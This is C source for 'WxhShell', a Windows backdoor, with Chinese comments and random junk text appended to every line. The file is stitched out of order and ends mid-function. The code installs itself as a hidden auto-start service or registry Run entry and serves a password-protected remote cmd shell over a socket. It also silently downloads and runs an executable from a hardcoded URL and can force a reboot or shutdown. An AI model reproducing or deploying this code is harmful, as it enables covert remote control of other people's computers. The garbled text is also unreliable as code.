    break; TzXivE@mm  
    } [<)/ c>Y  
  // 关机 )`RF2Y-A7  
  case 'd': { `"0#lZ`n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rz]0i@ehv'  
    if(Boot(SHUTDOWN)) &^ sgR$m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >K{/Jx&  
    else {  +X i#y}%  
    closesocket(wsh); apxZ}  
    ExitThread(0); zMfr`&%e  
    } H61 ,pr>  
    break; 8oSndfV  
    } $XFiH~GI  
  // 获取shell XE_|H1&j  
  case 's': { tHSe>*eC  
    CmdShell(wsh); {x $H# <Y  
    closesocket(wsh); ^X6fgsjz  
    ExitThread(0); tJ>OZ  
    break; DWB.dP *8  
  } G<kslTPyq  
  // 退出 r5b5`f4  
  case 'x': { JM5 w`=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p @@TOS  
    CloseIt(wsh); G: FP9  
    break; IqK??KSC  
    } 5oQy $Y  
  // 离开 r5qp[Ss3F  
  case 'q': { 0]l _qxv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kji*7a?y  
    closesocket(wsh); QE&rpF7l{  
    WSACleanup(); PaF`dnJ  
    exit(1); .6%-Il  
    break; =,0E]M Z  
        } ]HP aM  
  } @O}%sjC1  
  } *0)vsBi  
6(4FC?Y7  
  // 提示信息 +'abAST t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :\x)`lu  
} N"2Ire  
  } JcEPwF.  
.__X- +^  
  return; 5qkG~ YO-  
} _94|^   
/dpEL9K  
// shell模块句柄 YEoQIR  
int CmdShell(SOCKET sock) xzg81sV7  
{ 'c 0]8Y 4  
STARTUPINFO si; 1 dT1DcZ  
ZeroMemory(&si,sizeof(si)); c>~"Z-VtX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WjxO M\?#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "?|sC{'C4j  
PROCESS_INFORMATION ProcessInfo; +0mU)4n/  
char cmdline[]="cmd";  4I7}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >Ha tb bA  
  return 0; w66iLQ\@  
} @b\/\\{  
YaJ[39V  
// 自身启动模式 K!6k<  
int StartFromService(void) oLEqy  
{ m72r6Yq2@  
typedef struct K_ P08  
{ T]\_[e:'  
  DWORD ExitStatus; K1Ms  
  DWORD PebBaseAddress; Xc;W9e(U  
  DWORD AffinityMask; H: Rd4dl,  
  DWORD BasePriority; [mKPOg-t  
  ULONG UniqueProcessId; K'.aQ&2  
  ULONG InheritedFromUniqueProcessId; P.WEu<$  
}   PROCESS_BASIC_INFORMATION; @K; 4'b~  
&*\wr} a!  
PROCNTQSIP NtQueryInformationProcess; e&zZr]vs]l  
|Id0+-V ?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8%]o6'd4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h.@5vhD  
Q?KWiFA}'  
  HANDLE             hProcess; FU9q|!2Y  
  PROCESS_BASIC_INFORMATION pbi; ,$ L>  
)%lPa|7s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [V_Z9-f*  
  if(NULL == hInst ) return 0; bhaIi>W~G  
T!C39T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Dbt"}#uit;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @l:\0cO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  L5/J  
LY b@0O<w  
  if (!NtQueryInformationProcess) return 0; r9<OB`)3+  
rf_(pp)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fB+4mEG@  
  if(!hProcess) return 0; $8gj}0}eH  
x5_V5A/@LU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3B#qQ#  
Q[EpE,  
  CloseHandle(hProcess); c8!q_H~  
T:&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {/SUfXq  
if(hProcess==NULL) return 0; 5[3vu p?  
a"gZw9m@  
HMODULE hMod; F)_zR  
char procName[255]; {2Jo|z  
unsigned long cbNeeded; rnW(<t"  
rM/Ona2x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -0rc4<};h  
F}p)Q$0  
  CloseHandle(hProcess); ? S^ U-.`  
rEEoR'c6  
if(strstr(procName,"services")) return 1; // 以服务启动 (D5 dN\  
ha+)ZF  
  return 0; // 注册表启动 D?ojxHe  
} +VxzWNs*JP  
34S0W]V  
// 主模块 &Z!O   
int StartWxhshell(LPSTR lpCmdLine) 8D3|}z?  
{ M4[(.8iE  
  SOCKET wsl; hKo& ZWPq  
BOOL val=TRUE; J:g4ES-/   
  int port=0; ?`ETlFtD4  
  struct sockaddr_in door; .|Unq`ll  
6v(?Lr`D  
  if(wscfg.ws_autoins) Install(); 1vw [{.wC  
c'#w 8 V  
port=atoi(lpCmdLine); _Q)rI%A2  
/dGpac  
if(port<=0) port=wscfg.ws_port; QP HibPP:  
LbCcOkL/@@  
  WSADATA data; aX CVC<l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <r 2$k"*:  
?wM{NVt#-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fo\* Cr9D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ejs_ ?  
  door.sin_family = AF_INET; G)~/$EF,_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a`/\0~  
  door.sin_port = htons(port); #Bu W  
h=:Ls]ZU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .d mUh-  
closesocket(wsl); o@T-kAEf-.  
return 1; xZbiEDU  
} @`"U D  
YU >NGC]}d  
  if(listen(wsl,2) == INVALID_SOCKET) { 7dxTyn=  
closesocket(wsl); PydU.,^7  
return 1; ]J|]IP Xy  
} ;W"=s79  
  Wxhshell(wsl); z)AZ:^!O  
  WSACleanup(); \N3A2L)l  
3i\<#{  
return 0; mO#62e4C  
,%Go.3i[  
} _=Y?' gHH  
mf4C68DI@u  
// 以NT服务方式启动 H5MO3DJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2iX57-6Ub  
{ 6l Suzu  
DWORD   status = 0; Rda~Drz  
  DWORD   specificError = 0xfffffff; y}5:CZ  
ULT,>S6r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t[=-4;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^&[Z@*A8#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dMw7UJ  
  serviceStatus.dwWin32ExitCode     = 0; Ec2?'*s   
  serviceStatus.dwServiceSpecificExitCode = 0; mCb1^Y  
  serviceStatus.dwCheckPoint       = 0; PCqE9B)l  
  serviceStatus.dwWaitHint       = 0; #/"?.Z;SSH  
)h0 3sv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 85e!)I_  
  if (hServiceStatusHandle==0) return; {pJf ~  
|f+`FOliP  
status = GetLastError(); /+ yIcE(&3  
  if (status!=NO_ERROR) czG]rl\1  
{ *3R3C+ L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OV>JmYe1{/  
    serviceStatus.dwCheckPoint       = 0; ;*+wg5|  
    serviceStatus.dwWaitHint       = 0; 5EX Ghc'  
    serviceStatus.dwWin32ExitCode     = status; 4CH/~b1 (  
    serviceStatus.dwServiceSpecificExitCode = specificError; d U}kimz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I9VU,8~  
    return; 7cMHzh k^  
  } m7 $t$/g  
G*N}X3H:o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ==!k99`f,  
  serviceStatus.dwCheckPoint       = 0; h85 kQ^%  
  serviceStatus.dwWaitHint       = 0; ov$S   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wk9qyv<  
} z79c30y]"  
j 3t,Cx  
// 处理NT服务事件,比如:启动、停止 _48@o^{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tS[@3h  
{ %mFZ!(  
switch(fdwControl) "h\ (a<  
{ r,8~qHbOT  
case SERVICE_CONTROL_STOP: 8~!9bg6C  
  serviceStatus.dwWin32ExitCode = 0; ` zoC++hx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z%4w{T+[  
  serviceStatus.dwCheckPoint   = 0; BJ*8mKi h  
  serviceStatus.dwWaitHint     = 0; HSG7jC'_  
  { wdMVy=SS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ehTRw8"R  
  } goje4;  
  return; \2#j1/d4  
case SERVICE_CONTROL_PAUSE: [sc4ULS &  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *]K/8MbiF  
  break; o=)["V  
case SERVICE_CONTROL_CONTINUE: Dkyw3*LCn%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;N?raz2mEi  
  break;  8 ?4/  
case SERVICE_CONTROL_INTERROGATE: -Cc2|~n  
  break; :ceT8-PBRx  
}; Va-.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GNX`~%3KYc  
} -qs R,H  
]_js-+w6  
// 标准应用程序主函数 >HRL@~~Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @AfC$T  
{ &6O0h0Vy  
\Y$@$)   
// 获取操作系统版本 D:=Q)Uh0I  
OsIsNt=GetOsVer(); ^&!iqK2o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [~5<['G  
t 2Y2v2 J  
  // 从命令行安装 I&Z+FL&@f  
  if(strpbrk(lpCmdLine,"iI")) Install(); d>gN3}tT  
L|y 9T {s  
  // 下载执行文件 *-,jIaL;  
if(wscfg.ws_downexe) { H$)__V5I,q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "QLp%B,A  
  WinExec(wscfg.ws_filenam,SW_HIDE); #>_5PdO  
} ?Zh,W(7W  
M $\!SXL  
if(!OsIsNt) { 79d< ,q;uR  
// 如果时win9x,隐藏进程并且设置为注册表启动 Sau?Y  
HideProc(); [J\! 2\Oo  
StartWxhshell(lpCmdLine); g!I0UAm  
} OhiY <  
else iPK:gK3Q  
  if(StartFromService()) QdK PzjA  
  // 以服务方式启动 )\m%&EXG{  
  StartServiceCtrlDispatcher(DispatchTable); L a8D%N  
else YgR}y+q^6  
  // 普通方式启动 !V27ln KP+  
  StartWxhshell(lpCmdLine); DTN)#G CtF  
f\X7h6k8{  
return 0; E HH+)mlo  
} E5Zxp3N  
P;V5f8r?  
r}M2t$nv  
VpyqVbx1  
=========================================== /D,<2>o  
LA4,o@V`  
vT;~\,M  
Cm%xI& Y  
8Y P7'Fz  
c +N\uG4  
" !n`Y^  
>o4Ih^VB  
#include <stdio.h> ftRzgW);  
#include <string.h> $^5c8wT  
#include <windows.h> bOdQ+Y6  
#include <winsock2.h> 4YyVh.x  
#include <winsvc.h> L8~zQV$h  
#include <urlmon.h> b@ OF  
PwS7!dzH-  
#pragma comment (lib, "Ws2_32.lib") fp2uk3Bm[  
#pragma comment (lib, "urlmon.lib") WVdF/H  
@XN*H- |  
#define MAX_USER   100 // 最大客户端连接数 (dHil#l  
#define BUF_SOCK   200 // sock buffer 4Ixu%  
#define KEY_BUFF   255 // 输入 buffer h: Hpz  
4=C7V,a  
#define REBOOT     0   // 重启 !~-@p?kW/  
#define SHUTDOWN   1   // 关机 4%>2 >5  
v O@7o  
#define DEF_PORT   5000 // 监听端口 CH] +S>$  
qrkJ:  
#define REG_LEN     16   // 注册表键长度 ~mk>9Gp  
#define SVC_LEN     80   // NT服务名长度 ,Wlw#1fP  
1+9}Xnxb  
// 从dll定义API 5K {{o''  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {(_>A\zi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5uO.@0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @%gth@8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iu'At7  
C7_nA:Rc  
// wxhshell配置信息 |`Q2K9'4bL  
struct WSCFG { _\u?]YTv  
  int ws_port;         // 监听端口 R:, |xz  
  char ws_passstr[REG_LEN]; // 口令 Z>_F:1x  
  int ws_autoins;       // 安装标记, 1=yes 0=no M&5De{LS}  
  char ws_regname[REG_LEN]; // 注册表键名 2SJ|$VsLaE  
  char ws_svcname[REG_LEN]; // 服务名 JB9s# `  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 arb'.:[z^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !b?`TUt   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6rh^?B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H57wzG{xG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `8b4P>';O'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ct9dV7SH  
18AlQ+')?w  
};  ?h3t"9  
9e0t  
// default Wxhshell configuration 9N;y^ Y\  
struct WSCFG wscfg={DEF_PORT, 0<u(!iL  
    "xuhuanlingzhe", 4rH:`494  
    1, F+285JK  
    "Wxhshell", m?`?T   
    "Wxhshell", =m/BH^|&W  
            "WxhShell Service", [f#7~  
    "Wrsky Windows CmdShell Service", w~Jy,[@n  
    "Please Input Your Password: ", ?xYoCn}Z  
  1, 8w9?n3z=}  
  "http://www.wrsky.com/wxhshell.exe", p(pL"  
  "Wxhshell.exe"  ^9 Pae)  
    }; OHK]=DH:M  
Ry"N_Fb  
// 消息定义模块 905Lk>rB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >m4HCs>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l]F)]>AE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YTV|]xpR  
char *msg_ws_ext="\n\rExit."; %%^by  
char *msg_ws_end="\n\rQuit."; 3$h yV{  
char *msg_ws_boot="\n\rReboot..."; 3R`eddenF  
char *msg_ws_poff="\n\rShutdown..."; y/OPN<=*  
char *msg_ws_down="\n\rSave to "; }= (|3 \v  
d/l>~%bR  
char *msg_ws_err="\n\rErr!"; /YD2F  
char *msg_ws_ok="\n\rOK!"; #GIjU1-  
)|IMhB+4  
char ExeFile[MAX_PATH]; (x/xqDpmBS  
int nUser = 0; -(l/.yE{X  
HANDLE handles[MAX_USER]; p[:E$#W~;  
int OsIsNt; {/q4W; D  
G&dz<f  
SERVICE_STATUS       serviceStatus; mE"},ksg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k_](u91  
Gp}}M Gk  
// 函数声明 z1m$8-4  
int Install(void); Ue!~|:  
int Uninstall(void); #Y<(7  
int DownloadFile(char *sURL, SOCKET wsh); TRku(w1f  
int Boot(int flag); 2sYOO>  
void HideProc(void); DH'0#  
int GetOsVer(void); <a)L5<#  
int Wxhshell(SOCKET wsl); q*d@5  
void TalkWithClient(void *cs); Ou wEO   
int CmdShell(SOCKET sock); 3#~w#Q0%  
int StartFromService(void); F.@U X{J  
int StartWxhshell(LPSTR lpCmdLine); %617f=(E?!  
X$9 "dL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +=g9T`YbE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (VB-5&b  
NG\^>.8  
// 数据结构和表定义 ">!<OB  
SERVICE_TABLE_ENTRY DispatchTable[] = 4=7h1qex  
{ F9 2et<y.  
{wscfg.ws_svcname, NTServiceMain}, 4NRG{FZ9  
{NULL, NULL} F8>J(7On  
}; K&UTs$_cI  
31`Eq*Y)4  
// 自我安装 lWWy|r'il  
int Install(void) I9g!#lbl  
{ 8 CCA}lOG  
  char svExeFile[MAX_PATH]; v)-:0 f  
  HKEY key; JQk][3Rv  
  strcpy(svExeFile,ExeFile); g: ,*Y^T  
u>h|A(<  
// 如果是win9x系统,修改注册表设为自启动 7f#r&~=  
if(!OsIsNt) { } DQ KfS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P= nu&$;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v>E3|w%  
  RegCloseKey(key); v8NoD_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CK#SD|~:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l t{yo\  
  RegCloseKey(key); e2vL UlL8  
  return 0; M\)(_I)V=  
    } 2sOetmWE7  
  } V jZx{1kCR  
} 8bW,.to(?x  
else { 9 t o2V  
}4wIfI83K,  
// 如果是NT以上系统,安装为系统服务 :Mzkm^7B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LL7un_EC  
if (schSCManager!=0) *;X,yEK[  
{ 8|H^u6+yz  
  SC_HANDLE schService = CreateService 6[SE*/E@L  
  ( MWn+e  
  schSCManager, ^UiSezc I  
  wscfg.ws_svcname, oV=~ Q#v  
  wscfg.ws_svcdisp, C ehz]C  
  SERVICE_ALL_ACCESS, ODE^;:z !  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y-k]Tr  
  SERVICE_AUTO_START, 1zlBkK   
  SERVICE_ERROR_NORMAL, P h/!a6y  
  svExeFile, U[WR?J4~LX  
  NULL, 3{R7y  
  NULL, U7le> d;L  
  NULL, 7B8.;0X$W  
  NULL, }S}9Pm,:  
  NULL /Lt Lu  
  ); 1 -:{&!  
  if (schService!=0) 'c&S%Ra[3G  
  { p!RyxB1.|  
  CloseServiceHandle(schService); Ct\n1T }  
  CloseServiceHandle(schSCManager); O.^1r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NI33lp$V  
  strcat(svExeFile,wscfg.ws_svcname); XR.Sm<A[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 02 6|u|R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J'4V_Kjg-  
  RegCloseKey(key); e!.r- v9  
  return 0; NkL>ru!b9  
    } J~(M%] &k^  
  } -wUw)gJbM  
  CloseServiceHandle(schSCManager); J4>k9~q  
} ]] Jg%}o  
} _{f7e^;  
GK\`8xWE  
return 1; J6W"t  
} +VdC g_  
^7$V>|  
// 自我卸载 sH `(y)`_  
int Uninstall(void) XX;MoE~MM  
{ XTPf~Te,=  
  HKEY key; 2nA/{W\hC  
{Bm7'%i  
if(!OsIsNt) { &&er7_Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j%@wQVxq  
  RegDeleteValue(key,wscfg.ws_regname); F` "bMS  
  RegCloseKey(key); 2j( ]Bt:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'D<84|w:1  
  RegDeleteValue(key,wscfg.ws_regname); X4dXO5\  
  RegCloseKey(key); NAt; r  
  return 0; AW< z7B D  
  } /%9CR'%*c  
} sV5S>*A[  
} $S_G:}tna  
else { "Z70 jkW[  
ewD=(yr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -lNT"9  
if (schSCManager!=0) cs6I K6wo  
{ Hb|y`Ok  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zv[pfD7a  
  if (schService!=0) +4--Dl?  
  { MTUJsH\  
  if(DeleteService(schService)!=0) { .GH#`j  
  CloseServiceHandle(schService); R<FW?z*  
  CloseServiceHandle(schSCManager); +Oa+G.;)o4  
  return 0; NP< {WL#  
  } OZed+t=  
  CloseServiceHandle(schService); [Adkj  
  } QH.zsqf(  
  CloseServiceHandle(schSCManager); T3#KuiwU9  
} >wJt# ZB  
} (HD=m, }  
)mvD2]fK  
return 1; c"x-_Uk  
} 8 DE%ot  
s%p,cz; ,  
// 从指定url下载文件 6-vQQ-\  
int DownloadFile(char *sURL, SOCKET wsh) - BE.a<  
{ &ytnoj1L(  
  HRESULT hr; 6Lhfb\2?  
char seps[]= "/"; cc_v4d{x  
char *token; gHe%N? '  
char *file; QGI_aU  
char myURL[MAX_PATH]; [23F0-p  
char myFILE[MAX_PATH]; EXD Qr'"  
l S m7i  
strcpy(myURL,sURL); $yY\[C  
  token=strtok(myURL,seps); i$b Het  
  while(token!=NULL) +rcDA|  
  { U~1jmxE  
    file=token; lIDGL05f'  
  token=strtok(NULL,seps); Pe<}kS m4  
  } g (:%E  
c[RkiV3  
GetCurrentDirectory(MAX_PATH,myFILE); _(.,<R5  
strcat(myFILE, "\\"); uxsfQ%3`#  
strcat(myFILE, file); >L{s[pLJ  
  send(wsh,myFILE,strlen(myFILE),0); _}RzJKl@  
send(wsh,"...",3,0); =i:6&Y~VGq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  J0Ik@  
  if(hr==S_OK) tP ;^;nw  
return 0; UI}df<Ge  
else ~|t 7  
return 1; ^N`bA8  
]x<`(  
} JZM:R  
3duWk sERC  
// 系统电源模块 Z+?V10$  
int Boot(int flag) +#IsRiH%>  
{ V(A p|I:G  
  HANDLE hToken; d|?'yX  
  TOKEN_PRIVILEGES tkp; k ICZc{} `  
u{SJ#3C5  
  if(OsIsNt) { dD{{G :V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]BiLLDz(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); map#4\  
    tkp.PrivilegeCount = 1; ck"lX[d1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WUnmUW[/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f#3U,n8:  
if(flag==REBOOT) { aHzS>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R]y[n;aGC  
  return 0; FPB O=?H.  
} tF@hH}{;  
else { 6x$1En  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }q~M$  
  return 0; vn0}l6n3s  
} eGi[LJ)np  
  } gBZ1Weu-'  
  else { |&hu3-(  
if(flag==REBOOT) { u_~*)w+mS@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) },@1i<Bb  
  return 0; 5C^oqUZ  
} d l<7jM?  
else { 6I yD7PQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ci~pM<+  
  return 0; 00d<V:Aoy  
} DL:wiQ  
} B-`,h pp  
q\fZ Q  
return 1; 0s#`H  
} P$=BmBq18`  
?%Pd:~4D  
// win9x进程隐藏模块 lNw8eT~2  
void HideProc(void) Hi{1C"%  
{ (E.,kcAJ  
OE4hG xG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SK @%r  
  if ( hKernel != NULL ) Cb5Rr +K=  
  { C ~&~Ano,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wgeR%#DW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qek[p_7  
    FreeLibrary(hKernel); 4Sq[I  
  } D$wl.r  
$&!i3#FF  
return; :XP/`%:  
} M-Tjp'=*  
@D3Y}nR:  
// 获取操作系统版本 `- \J/I  
int GetOsVer(void) 37S  bF,G  
{ 'p{N5eM  
  OSVERSIONINFO winfo; fA k]]PU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #_b U/rk)*  
  GetVersionEx(&winfo); q4~w D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j m]d:=4_  
  return 1; )zR(e>VX  
  else \UF/_'=K  
  return 0; 2{sx"/k\A  
} ^=lh|C\#  
rv\yS:2  
// 客户端句柄模块 D V  
int Wxhshell(SOCKET wsl) !ibdw_H  
{ g2&%bNQ-5  
  SOCKET wsh; (pl|RmmDz  
  struct sockaddr_in client; ^"?fZSC  
  DWORD myID; =y$|2(6  
_8f? H#&  
  while(nUser<MAX_USER) *x;&fyR  
{ +@ FM~q  
  int nSize=sizeof(client); ]hPu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *&d>Vk."]  
  if(wsh==INVALID_SOCKET) return 1; Nzo;j0 [  
%)|pUa&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ey~5DY7  
if(handles[nUser]==0) Lcx)wof  
  closesocket(wsh); (rHS2SA\5  
else Bv)^GU&   
  nUser++; )5479Eb_  
  } E,/<;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t Lz,t&h  
d3nMeAI AO  
  return 0; 8)wxc1  
} FKX+ z  
yFYFFv\?  
// 关闭 socket gyt[ZN_2  
void CloseIt(SOCKET wsh) 0Q]ZS  
{ kT jx.  
closesocket(wsh); @&AUbxoj  
nUser--; ~ry B*eZH  
ExitThread(0); j`'9;7h M6  
} w6RB|^  
/.{q2]  
// 客户端请求句柄 xn fMx$fD  
void TalkWithClient(void *cs) u?J!3ZEtb  
{ nkp,  
iE~][_%U  
  SOCKET wsh=(SOCKET)cs; us ,!U  
  char pwd[SVC_LEN]; *u i!|;  
  char cmd[KEY_BUFF]; v*.[O/,EBR  
char chr[1]; JjXuy7XQ  
int i,j; 3u)NkS=  
e#+u8LrN  
  while (nUser < MAX_USER) { '\ MYC8"  
sUCI+)cM3  
if(wscfg.ws_passstr) { >;$C@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cIL I%W1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A *$JF>`7  
  //ZeroMemory(pwd,KEY_BUFF); Mj guH5Uy  
      i=0; JBYmy_Su  
  while(i<SVC_LEN) { %z0;77[1I  
2~*J<iO&l  
  // 设置超时 xksd&X:  
  fd_set FdRead; . paA0j  
  struct timeval TimeOut; 1kd\Fq^z$  
  FD_ZERO(&FdRead); ] WsQ=  
  FD_SET(wsh,&FdRead); :?2@qWaL  
  TimeOut.tv_sec=8; Cj,Yy  
  TimeOut.tv_usec=0; d'oh-dj %^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p-6Y5$Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \-]zXKl2k  
?=bqya"Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '@ $L}C#OI  
  pwd=chr[0]; o*[n[\cR  
  if(chr[0]==0xd || chr[0]==0xa) { kK0.j)(  
  pwd=0; Q|DVB  
  break; e={X{5z0  
  } wb#ZRmx}  
  i++; e2~$=f-  
    } bvxol\7;  
@d+NeS  
  // 如果是非法用户,关闭 socket ,EE,W0/zzM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Skb d'j  
} Ke*tLnO  
6D=9J%;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u%o]r9xl'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d;4LHQ0yU  
3>~W_c9@  
while(1) { Y#/mE!&  
Rz #&v  
  ZeroMemory(cmd,KEY_BUFF); Qb.Ve7c  
 .J0Tn,m  
      // 自动支持客户端 telnet标准   XTibx;yd<  
  j=0; uPmK:9]3R  
  while(j<KEY_BUFF) { k Y}r^NaQA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [1LlzCAFBw  
  cmd[j]=chr[0]; pM|m*k  
  if(chr[0]==0xa || chr[0]==0xd) { DR%16y<h  
  cmd[j]=0; W RBCNra  
  break; ZM6`:/lc  
  } +2KYtyI  
  j++; Ao0p=@Y  
    } ~$WBcqo  
c\J?J>xz  
  // 下载文件 !Qqi%  
  if(strstr(cmd,"http://")) { !LunoC>B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +E7Os|m  
  if(DownloadFile(cmd,wsh)) nT;Rwz$3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u!B6';XY  
  else $+P6R`K  
